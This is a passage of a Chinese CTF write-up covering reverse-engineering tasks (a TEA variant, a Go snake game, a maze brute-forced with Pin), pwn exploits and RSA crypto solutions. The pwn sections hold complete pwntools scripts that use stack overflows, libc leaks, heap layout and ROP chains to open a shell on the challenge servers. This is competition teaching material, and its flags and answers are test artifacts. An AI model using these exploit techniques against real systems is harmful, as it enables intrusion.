print(f"xor {hex(op1_val)}, {hex(op2_val)} = {hex((op1_val^op2_val)&0xffffffff)}")

import idc, idaapi
op1_val = idc.get_reg_value("EAX")
rbp_val = idc.get_reg_value("RBP")
mem_addr = rbp_val + 0x1C
op2_val = idc.get_wide_dword(mem_addr)
print(f"sub {hex(op1_val)}, {hex(op2_val)} = {hex((op1_val-op2_val)&0xffffffff)}")

import idc, idaapi
op1_val = idc.get_reg_value("EAX")
op2_val = idc.get_reg_value("EDX")
print(f"add {hex(op1_val)}, {hex(op2_val)} = {hex((op1_val+op2_val)&0xffffffff)}")  

log取一轮加密来分析

shl 0x32323232, 0x3 = 0x91919190
add 0xa56babcd, 0x91919190 = 0x36fd3d5d
add 0x0, 0x32323232 = 0x32323232
add 0x0, 0x32323232 = 0x32323232
xor 0x32323232, 0x36fd3d5d = 0x4cf0f6f
shr 0x32323232, 0x4 = 0x3232323
add 0xffffffff, 0x3232323 = 0x3232322
xor 0x4cf0f6f, 0x3232322 = 0x7ec2c4d
add 0x31313131, 0x7ec2c4d = 0x391d5d7e
add 0x11223344, 0x0 = 0x11223344
shl 0x391d5d7e, 0x2 = 0xe47575f8
add 0xffffffff, 0xe47575f8 = 0xe47575f7
add 0x11223344, 0x391d5d7e = 0x4a3f90c2
add 0xabcdef01, 0x4a3f90c2 = 0xf60d7fc3
xor 0xf60d7fc3, 0xe47575f7 = 0x12780a34
shr 0x391d5d7e, 0x5 = 0x1c8eaeb
add 0xa56babcd, 0x1c8eaeb = 0xa73496b8
xor 0x12780a34, 0xa73496b8 = 0xb54c9c8c
add 0x32323232, 0xb54c9c8c = 0xe77ecebe
sub 0x40, 0x1 = 0x3f

可以看到三个密钥0xa56babcd、0xffffffff、0xabcdef01以及delta=0x11223344

往后分析看所有轮加密完total做了什么,可以发现下一组加密8字节用的total值是上一组结束后的total值

add 0x11223344, 0x488cd100 = 0x59af0444    // 上一组total
shl 0x6bc23e4e, 0x2 = 0xaf08f938
add 0xffffffff, 0xaf08f938 = 0xaf08f937
add 0x59af0444, 0x6bc23e4e = 0xc5714292
add 0xabcdef01, 0xc5714292 = 0x713f3193
xor 0x713f3193, 0xaf08f937 = 0xde37c8a4
shr 0x6bc23e4e, 0x5 = 0x35e11f2
add 0xa56babcd, 0x35e11f2 = 0xa8c9bdbf
xor 0xde37c8a4, 0xa8c9bdbf = 0x76fe751b
add 0x34343434, 0x76fe751b = 0xab32a94f
sub 0x40, 0x1 = 0x3f
shl 0xab32a94f, 0x3 = 0x59954a78
add 0xa56babcd, 0x59954a78 = 0xff00f645
add 0x59af0444, 0xab32a94f = 0x4e1ad93
add 0x0, 0x4e1ad93 = 0x4e1ad93
xor 0x4e1ad93, 0xff00f645 = 0xfbe15bd6
shr 0xab32a94f, 0x4 = 0xab32a94
add 0xffffffff, 0xab32a94 = 0xab32a93
xor 0xfbe15bd6, 0xab32a93 = 0xf1527145
add 0x6bc23e4e, 0xf1527145 = 0x5d14af93
add 0x11223344, 0x59af0444 = 0x6ad13788    // 新一组total

搞懂加密逻辑直接开逆

from ctypes import c_uint32


def tea_encrypt(r, v, key, delta):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    total = c_uint32(0)
    for i in range(r):
        v0.value += ((v1.value << 3) + key[0]) ^ (v1.value + total.value) ^ ((v1.value >> 4) + key[1])
        total.value += delta
        v1.value += ((v0.value << 2) + key[1]) ^ (v0.value + total.value + key[2]) ^ ((v0.value >> 5) + key[0])
    return v0.value, v1.value


def tea_decrypt(r, v, key, delta, id):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    total = c_uint32(delta * r * (id//2+1))
    for i in range(r):
        v1.value -= ((v0.value << 2) + key[1]) ^ (v0.value + total.value + key[2]) ^ ((v0.value >> 5) + key[0])
        total.value -= delta
        v0.value -= ((v1.value << 3) + key[0]) ^ (v1.value + total.value) ^ ((v1.value >> 4) + key[1])
    return v0.value, v1.value

v = [2272944806, 1784017395, 2920892487, 2984657895, 2840586369, 2613617290, 3301943967, 4053798049]
k = [0xa56babcd, 0xffffffff, 0xabcdef01]
delta = 0x11223344
for i in range(0, len(v), 2):
    v[i:i+2] = tea_decrypt(64, v[i:i+2], k, delta, i)
print(list(map(hex, v)))
v = "".join([int.to_bytes(v[i], byteorder='little', length=4).decode() for i in range(len(v))])
print(v)

得到9c50d10ba864bedfb37d7efa4e110bf2

snake

无符号的go实现的贪吃蛇游戏,直接读逻辑十分困难,然后有反调试,无法正常进行调试

搜索得到原游戏项目:https://github.com/stable-online/golang_snake?tab=readme-ov-file

Git clone一份源码然后编译出snake.exe,然后尝试bindiff恢复符号表,效果并不是很好,但是可以作为一个参考的依据。

寻找定位到得分判断逻辑

img

发现是得分要到100,但是尝试修改得分要求后程序会卡住,往下理逻辑找到了一个xxtea解密的实现

img

分析之间的层次关系发现分数的改变对于xxtea的密钥会产生影响,那么思路想到去寻找得分的逻辑

利用编译好的原游戏文件辅助定位找到了move逻辑,其中有rc4生成随机的金币位置

img

寻找到加分的逻辑

img

现在有条件限制吃到金币之后可以得分,那么我们把这个限制条件nop取消,就可以实现随时间增加自动加分

img

nop掉这里的cmp逻辑即可,然后重新运行程序得到flag(会随机触发不稳定的反调试,多跑几次即可)

img

L3HCTF{ad4d5916-9697-4219-af06-014959c2f4c9}

AWayOut2

ida反编译根本看不懂只在后面爆破的时候拐回来才看到有个hjkl的判断,很明显迷宫四个方向键

由于太难分析控制流因此我用pintool进行爆破,观察到输入结果和对应指令数如下

a 419744191

k 419730508
h 419730512
j 419730514
l 419744180 # x

la 640207084
lk 640193401
ll 640207073 # x
lj 640193407

lla 860727831
llk 860714148
lll 860714144
llj 860727830 # x

可以发现输入正确的指令数会和输入不是hjkl指令数相差较小,而其他的指令数绝对值差都大于1000,因此可以逐位进行爆破,使用DFS遍历所有可能

由于输入后返回结果时间较长,不使用多线程爆破时间太长了,因此我写了份基本单线程脚本

import os
import collections
import time
from pwn import *

# --- 配置 ---
context.log_level = 'error'
PIN_COMMAND = ["./pin", "-t", "inscount0.so", "--", "./AWayOut2"]
# 字符集顺序现在变得更重要。将常见字符放在前面可能会提高效率。
CHARSET = "{hjkl"
FLAG_LENGTH = 118
ANOMALY_THRESHOLD = 9000  # 显著差异的阈值,可以微调


# --- 辅助函数 (与之前相同) ---

def get_instruction_count(test_flag):
    """
    运行 PIN 工具并获取给定 flag 的指令数。
    """
    try:
        p = process(PIN_COMMAND)
        p.recvuntil(b'try:\n', timeout=5)
        p.sendline(test_flag.encode())
        output = p.recvall(timeout=20)
        p.close()

        lines = output.strip().splitlines()
        if lines and lines[-1].isdigit():
            return int(lines[-1])
        else:
            return -1
    except Exception as e:
        return -1


# --- 新的主逻辑 (激进 DFS) ---

def solve_aggressive_dfs(known_prefix=""):
    """
    使用激进的深度优先搜索策略。
    一旦发现一个字符比当前层级已知的最小指令数显著更低,就立即深入。
    """
    # 基本情况:如果长度达到目标,说明成功了
    if len(known_prefix) == FLAG_LENGTH:
        print("\n" + "=" * 60)
        print(f"[*] 成功!找到完整 Flag: {known_prefix}")
        print("=" * 60)
        return True

    current_pos = len(known_prefix)
    print(f"\n[+] 正在爆破第 {current_pos + 1} 位字符 (前缀: '{known_prefix}')...")

    # 用于存储当前层级已知的最小指令数
    min_count_for_this_level = 1000000

    total_chars = len(CHARSET)
    for i, char in enumerate(CHARSET):
        test_flag = known_prefix + char
        progress_text = f"    -> 进度: {i + 1}/{total_chars} | 测试: '{test_flag}'"
        print(progress_text, end=' ')

        count = get_instruction_count(test_flag)
        print(count)
        if count == -1:
            continue  # 跳过执行失败的尝试
        if i == 0:
            tmp = count
            continue
        # 核心逻辑:检查当前字符的指令数是否比“已知最小”还要显著降低
        # ANOMALY_THRESHOLD 是你说的 "10000左右"
        if abs(tmp - count) > ANOMALY_THRESHOLD:
            # continue
            print(f"\n    [*] 发现显著更优字符 '{char}'...")
            print(f"    [*] 立即深入 DFS 搜索 '{test_flag}'...")

            # 立即递归,不再测试当前层级的其他字符
            if solve_aggressive_dfs(test_flag):
                return True  # 如果这条路成功了,直接返回 True
            else:
                # 如果深入后发现是死胡同,打印回溯信息并继续在当前层级搜索
                print(f"\n[!] 路径 '{test_flag}' 是死胡同, 回溯到第 {current_pos + 1} 位, 继续搜索...")
                # 即使是死胡同,这个 count 也是一个新的有效最小值,需要更新
                min_count_for_this_level = count

        # 如果不是显著降低,就只更新当前层级的最小指令数
        elif count < min_count_for_this_level:
            min_count_for_this_level = count

    # 如果遍历完所有字符都没有找到一条成功的路径,则说明当前前缀是错误的
    print(f"\n[-] 在位置 {current_pos + 1} 处所有尝试均失败。回溯...")
    return False


# --- 程序入口 ---
if __name__ == "__main__":
    print("=" * 60)
    print("开始使用“激进”DFS 策略进行全长度 Flag 爆破")
    print("=" * 60)

    # 假设 'h' 仍然是正确的第一个字符
    if not solve_aggressive_dfs(""):
        # 如果不确定第一个字符,使用下面这行:
        # if not solve_aggressive_dfs(""):
        print("\n" + "=" * 60)
        print("[!] 未能找到完整的 Flag。")
        print("=" * 60)

上面的是最基础的脚本,后面多线程发现了更多bug

  • 要限制方向,不能跑反方向,比如你之前向右走了你下一步不能再向左了,中午跑的时候还没发现,下午才发现结果里不停的jkjkjk
  • timeout加得大大的,越往后越慢,出现了好几次获取指令数为-1,直接把我dfs搞乱了,跑了一下午才发现出错了,赶紧把跑出来的路径打印出来,果然出现了一些很不合理的路径如下,还好前面的都没问题不至于再从头开始跑

img

  • threshold指令差值应该看绝对值,最开始爆破时候没发现l方向完指令数增大,导致做差出现负数,所以一直没有l方向
  • 要有一个错误基准,因此设置了一个{输入,后续输入4个方向和输入{指令数进行比较,绝对值差在1000以内是可以走的方向

爆破脚本如下,借助了pwntool实现了自动化爆破

#!/usr/bin/env python3
import os
from pwn import *
from concurrent.futures import ThreadPoolExecutor, as_completed

# --- 配置 ---
PIN_COMMAND = ["./pin", "-t", "inscount0.so", "--", "./AWayOut2"]
# 字符集顺序现在变得更重要。将常见字符放在前面可能会提高效率。
CHARSET = "jkhl{"
FLAG_LENGTH = 118
MAX_THREADS = 16
# --- 辅助函数 (与之前相同) ---

def get_instruction_count(test_flag):
    """
    运行 PIN 工具并获取给定 flag 的指令数。
    """
    try:
        p = process(PIN_COMMAND)
        p.recvline(timeout=200)
        p.sendline(test_flag.encode())
        output = p.recvall(timeout=200)
        p.close()
        
        lines = output.strip().splitlines()
        if lines and lines[-1].isdigit():
            return int(lines[-1])
        else:
            return -1
    except Exception as e:
        return -1

# --- 新的主逻辑 (激进 DFS) ---

def solve_aggressive_dfs(known_prefix=""):
    """
    使用激进的深度优先搜索策略。
    一旦发现一个字符比当前层级已知的最小指令数显著更低,就立即深入。
    """
    # 基本情况:如果长度达到目标,说明成功了
    if len(known_prefix) == FLAG_LENGTH:
        print("\n" + "="*60)
        print(f"[*] 成功!找到完整 Flag: {known_prefix}")
        print("="*60)
        return True

    current_pos = len(known_prefix)
    print(f"\n[+] 正在爆破第 {current_pos + 1} 位字符 (前缀: '{known_prefix}')...")

    # 1. 获取基准字符 '{' 的指令数 (此步骤仍然串行)
    print(f"    -> 获取基准指令数 (字符: '{{')...", end='')
    ref_flag = known_prefix + "{"
    ref_count = get_instruction_count(ref_flag)
    print(f" 指令数: {ref_count}")
    
    # 2. 准备所有要并行测试的任务
    if known_prefix:
        if known_prefix[-1] == "l":
            chars_to_test = ["l", "j", "k"]
        elif known_prefix[-1] == "h":
            chars_to_test = ["h", "j", "k"]
        elif known_prefix[-1] == "j":
            chars_to_test = ["l", "j", "h"]
        elif known_prefix[-1] == "k":
            chars_to_test = ["l", "h", "k"]
    else:   
        chars_to_test = ["h", "l", "j", "k"]
    flags_to_test = [known_prefix + char for char in chars_to_test]
    
    candidates = []

    # 3. 使用线程池并行爆破所有字符
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        # executor.map 会将 get_instruction_count 函数应用到 flags_to_test 中的每一项
        # 它会按顺序返回结果,这非常方便
        all_counts = executor.map(get_instruction_count, flags_to_test)

        # 4. 收集并处理结果
        print("    -> 所有并行任务已完成,正在分析结果...")
        for char, count in zip(chars_to_test, all_counts):
            if count != -1:
                diff = abs(ref_count - count)
                print(f"{known_prefix+char} (指令数: {count}, 差值: {diff})")
                if diff < 1000:
                    candidates.append((char, count))

    # 对所有候选路径并行发起 DFS 递归
    if candidates:
        with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
            # 提交所有递归任务
            futures = [executor.submit(solve_aggressive_dfs, known_prefix + char) for char, _ in candidates]
            # 等待第一个成功返回的结果
            for future in as_completed(futures):
                if future.result(): # 如果某个子任务返回 True
                    return True # 立刻将成功信号向上传递

    # 如果遍历完所有字符都没有找到一条成功的路径,则说明当前前缀是错误的
    print(f"\n[-] 在位置 {current_pos + 1} 处所有尝试均失败。回溯...")
    return False

# --- 程序入口 ---
if __name__ == "__main__":
    context.log_level = 'error'

    print("="*60)
    print("开始使用“激进”DFS 策略进行全长度 Flag 爆破")
    print("="*60)
    
    if not solve_aggressive_dfs("lljjljjhhjjjjjllkkkllljjlljjjhhhhhhjjjjjlljjhhhjjjjlllkklllllkkkllkkkklkllllljjjlllllklllllljjjhhhjjjl"):
        print("\n" + "="*60)
        print("[!] 未能找到完整的 Flag。")
        print("="*60)

跑到最后基本就看出来路径没问题了

img

正确路径为lljjljjhhjjjjjllkkkllljjlljjjhhhhhhjjjjjlljjhhhjjjjlllkklllllkkkllkkkklkllllljjjlllllklllllljjjhhhjjjljjllljjhhjjljjlj

md5后即为flag

Pwn

Heack

漏洞在 fight_dragon 有个明显的stack溢出,可以通过修改 v3 来如果 canary,然后修改返回地址

img

fight_dragon 返回时 rsi 是一个libc 地址 ,1/16 概率 把返回地址改到这里,可以直接泄露 libc,

img

img

有了libc 后 再次利用 fight_dragon 栈溢出 写 rop 即可

img

from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '43.138.2.216:9999'.replace(' ',':')
binary = './vul2'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)

#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x00146F
brva 0x01817
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))

def note_system():
    ru('> ')
    sl('5')

def add(idx,size,text):
    ru('Choose an option: ')
    sl('1')
    ru(': ')
    sl(str(idx))
    ru(': ')
    sl(str(size))
    ru(': ')
    s(text)
def rm(idx):
    ru('Choose an option: ')
    sl('2')
    ru(': ')
    sl(str(idx))
def show(idx):
    ru('Choose an option: ')
    sl('3')
    ru(': ')
    sl(str(idx))
    ru('---\n')

for i in range(100):
    io = start([])
    ru('> ')
    sl('1')
    ru('shout:')
    pay = b'A' * 0x103
    pay += p8(0x17)
    pay += p16(0xc91A)
    try:
        sl(pay)
        ru('[Attack]: ')
        libc_base = int(rl()) - 0x204643
        libc.address = libc_base
        lss('libc_base')
        system = libc.sym['system']
        bin_sh = next(libc.search(b'/bin/sh'))
        poprdi = next(libc.search(asm('pop rdi;ret')))
        rop  = p64(poprdi+1)
        rop += p64(poprdi)
        rop += p64(bin_sh)
        rop += p64(system)
        ru('> ')
        sl('1')
        ru('shout:')
        pay = b'A' * 0x103
        pay += p8(0x17)
        pay += rop
        #gdb.attach(io,gdbscript)
        sl(pay)
        io.interactive()
    except:
        io.close()
itr()

Heack_revenge

fight_dragon 被修复了,但没完全修复,仍然存在 溢出,只不过只能修改返回地址的一个字节

img

写个脚本把在 0x18xx 这段里的gadget 都找出来看看,有没有可以利用的

img

from pwn import *

data = 'FF488D05880C00004889C7E8F0F8FFFF8B45F4488B55F864482B1425280000007405E8E9F8FFFFC9C3F30F1EFA554889E54881ECB000000064488B042528000000488945F831C0488D8550FFFFFFBAA8000000BE000000004889C7E8D0F8FFFFC745E8050F2A01C745EC5D0F1F008B55E88B45EC31D08945F08B45F089C6488D053D0C00004889C7B800000000E88EF8FFFF488D05370C00004889C7E85FF8FFFFB800000000E8DF010000B800000000E8CB0200008945F48B45F483F8050F875001000089C0488D148500000000488D051B0D00008B04024898488D150F0D00004801D03EFFE0488B45D84889C7E829FEFFFFBF00000000E893F8FFFF488D05210C0000'
data = bytes.fromhex(data)

context.arch='amd64'
for i in range(len(data)):
    tmp = data[i:i+0x10]
    print('--------------------')
    print(hex(i))
    print(disasm(tmp))

有个 pop rbp

img

恰好下面就是 heap地址,后继续运行程序并没有出错

img

后面执行 note_system 可以看到 note_list[] 也在堆上了

img

需要在heap 上提前布局,然后泄露 heap 地址, game 函数 return 时 rsp 也在 heap 上(后面再堆风水,修改stack 进行rop)

img

from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '43.138.2.216:19999'.replace(' ',':')
binary = './vul2_revenge'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)

#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x01A0D
brva 0x1A1F
brva 0x01828
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))

def note_system():
    ru('> ')
    sl('5')

def add(idx,size,text):
    ru('Choose an option: ')
    sl('1')
    ru('): ')
    sl(str(idx))
    ru('size (1-2048): ')
    if len(str(size))>=4:
        s(str(size))
    else:
        sl(str(size))
    ru('ontent: ')
    s(text)

def rm(idx):
    ru('Choose an option: ')
    sl('2')
    ru(': ')
    sl(str(idx))

def show(idx):
    ru('Choose an option: ')
    sl('3')
    ru(': ')
    sl(str(idx))
    ru('---\n')
io = start([])

note_system()

add(1,0x5f7,'H'*0x10)
add(2,0x17,'A'*0x10)
add(0,0x17,'B'*0x10)

rm(1)

add(1,0x567,'E'*0x10)

ru('Choose an option: ')
sl('4')

ru('> ')
sl('1')
ru('shout:')
pay = b'A' * 0x23
pay += p8(0x37)
pay += p8(0x6a)
#gdb.attach(io,gdbscript=gdbscript)
sl(pay)

note_system()

show(0)
heap_addr =  uu64(r(6))
lss('heap_addr')
add(2,0x600,'hehe')
add(3,0x600,'hehe')
rm(2)

pay = p64(heap_addr+0x10) + p64(heap_addr-0x10)
add(6,0x17,pay)
show(0)
libc_base =  uu64(r(6)) - 0x203f90
lss('libc_base')
rm(1)
libc.address = libc_base
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
poprdi = next(libc.search(asm('pop rdi;ret')))
poprsi = next(libc.search(asm('pop rsi;ret')))

add(1,0x17,p64(0x414243)+p64(libc_base + 0x2a871)) # pop 

rop  = p64(0)
rop += p64(poprdi)
rop += p64(bin_sh)
rop += p64(poprsi)
rop += p64(0)
rop += p64(0x00000000000b503c + libc_base) # pop rdx
rop += p64(0) * 5
rop += p64(libc.sym['execve'])
add(0xf,0x600,rop)

sl('4')
ru('>')
sl('6')

#pay = b'ABC'
#add(7,0x40,pay)

#ru('Choose an option: ')
#sl('4')

itr()

Library

漏洞在功能3,没有限制 page 的索引,可以任意偏移写

img

本地测试发现 编辑写入的数据所在的段有两种情况,在heap 下面的时候, 他会和其他线程的stack 地址有固定偏移

img

img

img

后面直接写rop 就行了,elf 里面gadget 足够用了,还有 syscall

from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '1.95.8.146:25314'.replace(' ',':')
binary = './library.kexe'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)

#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
#libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
b *0x23d8a2
b *0x0252416
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
io = start([])

def add(name):
    ru('Your choice: \n')
    sl('1')
    ru('borrow?\n')
    sl(name)
def edit(idx,page,text):
    ru('Your choice: \n')
    sl('3')
    ru('read?\n')
    sl(str(idx))
    ru('page: ')
    sl(str(page))
    ru('write: ')
    s(text)


add('hack1')
edit(0,1,'BBBBBBB')

#gdb.attach(io,gdbscript)
rax = 0x000000000024600f # pop rax ; ret
rdi = 0x0000000000227871 # pop rdi ; ret
rsi = 0x000000000022727d # pop rsi ; ret
rdx = 0x00000000002539c4 # pop rdx ; ret
mov_rsi_rdx = 0x0000000000252d4c # mov qword ptr [rsi], rdx ; ret
syscall =  0x25FC90
pay  = [
    rdx,0x68732f6e69622f,
    rsi,0x26e7b8,
    mov_rsi_rdx,
    rdi,0x3b,
    rsi,0x26e7b8,
    rdx,0,
    syscall,
]

for i in range(len(pay)):
    edit(0,0x218198+i,p64(pay[i]))

sleep(5)

itr()

img

Crypto

math_problem

import gmpy2  
from gmpy2 import *  
from Crypto.Util.number import *  
from random import randint  
from gmpy2 import invert  
from scret import flag  
  
def myfunction(num):  
    output = 0  
    output=num**3  
    return output  
  
if __name__ == '__main__':  
    flag_len = len(flag)  
    p, q = getPrime(512), getPrime(512)  
  
    while True:  
        r = getPrime(512)  
        R = bytes_to_long(str(r).encode())  
        if isPrime(R):  
            break  
  
    n = p * q * r  
    hint1 = R * r  
    mod = myfunction(n)  
    hint2 = pow(3*n+1, p % (2 ** 400), mod)  
    m = bytes_to_long(flag)  
    c = pow(m, 65537, n)  
  
    print('All data:')  
    print(f'n = {n}')  
    print(f'c = {c}')  
    print(f'hint1 = {hint1}')  
    print(f'hint2 = {hint2}')  

给出的数据有 $n=pqr$,$hint_1=R \cdot r$,$hint_2 \equiv (3n+1)^{p\bmod{2^{400}}} \pmod{n^3}$,显然有 $gcd(n,hint_1)=r$,猜测flag不大的情况下直接在模 $n$ 下就能解出flag:

from Crypto.Util.number import *
from gmpy2 import gcd

n = 1031361339208727791691298627543660626410606240120564103678654539403400080866317968868129842196968695881908504164493307869679126969820723174066217814377008485456923379924853652121682069359767219423414060835725846413022799109637665041081215491777412523849107017649039242068964400703052356256244423474207673552341406331476528847104738461329766566162770505123490007005634713729116037657261941371410447717090137275138353217951485412890440960756321099770208574858093921
c = 102236458296005878146044806702966879940747405722298512433320216536239393890381990624291341014929382445849345903174490221598574856359809965659167404530660264493014761156245994411400111564065685663103513911577275735398329066710295262831185375333970116921093419001584290401132157702732101670324984662104398372071827999099732380917953008348751083912048254277463410132465011554297806390512318512896160903564287060978724650580695287391837481366347198300815022619675984
hint1 = 41699797470148528118065605288197366862071963783170462567646805693192170424753713903885385414542846725515351517470807154959539734665451498128021839987009088359453952505767502787767811244460427708303466073939179073677508236152266192609771866449943129677399293427414429298810647511172104050713783858789512441818844085646242722591714271359623474775510189704720357600842458800685062043578453094042903696357669390327924676743287819794284636630926065882392099206000580093201362555407712118431477329843371699667742798025599077898845333
hint2 = 10565371682545827068628214330168936678432017129758459192768614958768416450293677581352009816968059122180962364167183380897064080110800683719854438826424680653506645748730410281261164772551926020079613841220031841169753076600288062149920421974462095373140575810644453412962829711044354434460214948130078789634468559296648856777594230611436313326135647906667484971720387096683685835063221395189609633921668472719627163647225857737284122295085955645299384331967103814148801560724293703790396208078532008033853743619829338796313296528242521122038216263850878753284443416054923259279068894310509509537975210875344702115518307484576582043341455081343814378133782821979252975223992920160189207341869819491668768770230707076868854748648405256689895041414944466320313193195829115278252603228975429163616907186455903997049788262936239949070310119041141829846270634673190618136793047062531806082102640644325030011059428082270352824026797462398349982925951981419189268790800571889709446027925165953065407940787203142846496246938799390975110032101769845148364390897424165932568423505644878118670783346937251004620653142783361686327652304482423795489977844150385264586056799848907

r = gcd(n, hint1)
d = inverse(65537, r-1)
m = pow(c, d, r)
print(long_to_bytes(m))

对于 $\text{hint}_1$,设 $p_l \equiv p \pmod{2^{400}}$,那么通过二项式定理展开整理可以得到:

$\text{hint}_2 \equiv 1 + p_l \cdot 3n + \frac{p_l(p_l-1)}{2}(3n)^2 \pmod{n^3}$

模 $n^2$ 可以更进一步得到:

$\text{hint}_2 \equiv 1 + p_l \cdot 3n \pmod{n^2}$

显然的,$p_l \cdot 3n + 1 = \text{hint}_2 \bmod n^2$,也就是说我们可以通过下式直接得到 $p$ 的低400位 $p_l$:

$p_l = \frac{\text{hint}_2 \bmod n^2 - 1}{3n}$

通过 Coppersmith 就可以还原出完整的 $p$ 了。

# sage
from Crypto.Util.number import *

n = 1031361339208727791691298627543660626410606240120564103678654539403400080866317968868129842196968695881908504164493307869679126969820723174066217814377008485456923379924853652121682069359767219423414060835725846413022799109637665041081215491777412523849107017649039242068964400703052356256244423474207673552341406331476528847104738461329766566162770505123490007005634713729116037657261941371410447717090137275138353217951485412890440960756321099770208574858093921
c = 102236458296005878146044806702966879940747405722298512433320216536239393890381990624291341014929382445849345903174490221598574856359809965659167404530660264493014761156245994411400111564065685663103513911577275735398329066710295262831185375333970116921093419001584290401132157702732101670324984662104398372071827999099732380917953008348751083912048254277463410132465011554297806390512318512896160903564287060978724650580695287391837481366347198300815022619675984
hint1 = 41699797470148528118065605288197366862071963783170462567646805693192170424753713903885385414542846725515351517470807154959539734665451498128021839987009088359453952505767502787767811244460427708303466073939179073677508236152266192609771866449943129677399293427414429298810647511172104050713783858789512441818844085646242722591714271359623474775510189704720357600842458800685062043578453094042903696357669390327924676743287819794284636630926065882392099206000580093201362555407712118431477329843371699667742798025599077898845333
hint2 = 10565371682545827068628214330168936678432017129758459192768614958768416450293677581352009816968059122180962364167183380897064080110800683719854438826424680653506645748730410281261164772551926020079613841220031841169753076600288062149920421974462095373140575810644453412962829711044354434460214948130078789634468559296648856777594230611436313326135647906667484971720387096683685835063221395189609633921668472719627163647225857737284122295085955645299384331967103814148801560724293703790396208078532008033853743619829338796313296528242521122038216263850878753284443416054923259279068894310509509537975210875344702115518307484576582043341455081343814378133782821979252975223992920160189207341869819491668768770230707076868854748648405256689895041414944466320313193195829115278252603228975429163616907186455903997049788262936239949070310119041141829846270634673190618136793047062531806082102640644325030011059428082270352824026797462398349982925951981419189268790800571889709446027925165953065407940787203142846496246938799390975110032101769845148364390897424165932568423505644878118670783346937251004620653142783361686327652304482423795489977844150385264586056799848907

r = GCD(n, hint1)
pl = (hint2 % (n^2) - 1) // (3 * n)
R.<x> = Zmod(n//r)[]
f = x * 2^400 + pl
f = f.monic()

ph = f.small_roots(X=2^112, beta=0.4)[0]

p = ZZ(ph * 2^400 + pl)
q = n // (p * r)

phi = (p - 1) * (q - 1) * (r - 1)

d = inverse(65537, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

RRRSSSAAA

为了解密给定的密文,我们需要从公钥中恢复私钥。公钥包括模数 N 和指数 e,其中 e是通过一个自定义过程生成的。分析发现,私钥指数 $d$ 可以表示为 $d=\phi-d_{small}$,其中 $\phi=(p^4-1)(q^4-1)$,且 $d_{small}$ 是一个 1021 位的小整数。通过连分数方法,可以从 e 和 $N^4$ 的比值中恢复 $d_{small}$。然后,解密过程简化为计算 $c^{-d_{small}} \bmod N$。

